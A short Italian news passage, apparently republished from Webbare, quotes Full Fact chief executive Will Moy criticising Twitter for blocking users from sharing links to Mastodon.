Will Moy, amministratore delegato dell’ente di verifica dei fatti Full Fact, ha affermato di non sapere “alcun motivo” per cui ci sia “un blocco generale su Mastodon”.

“È preoccupante che una società di social media di vitale importanza come Twitter sembri prendere decisioni irregolari e irresponsabili che influiscono su ciò che tutti possiamo vedere e condividere online”, ha affermato.

“Se vogliamo seriamente difendere la nostra democrazia e riconoscere la potente influenza che i social media possono avere nel plasmare il nostro dibattito democratico, dobbiamo essere seri nel tenere conto di quel potere”.

L'articolo Twitter impedisce agli utenti di condividere link provenienti da Mastodon proviene da Webbare.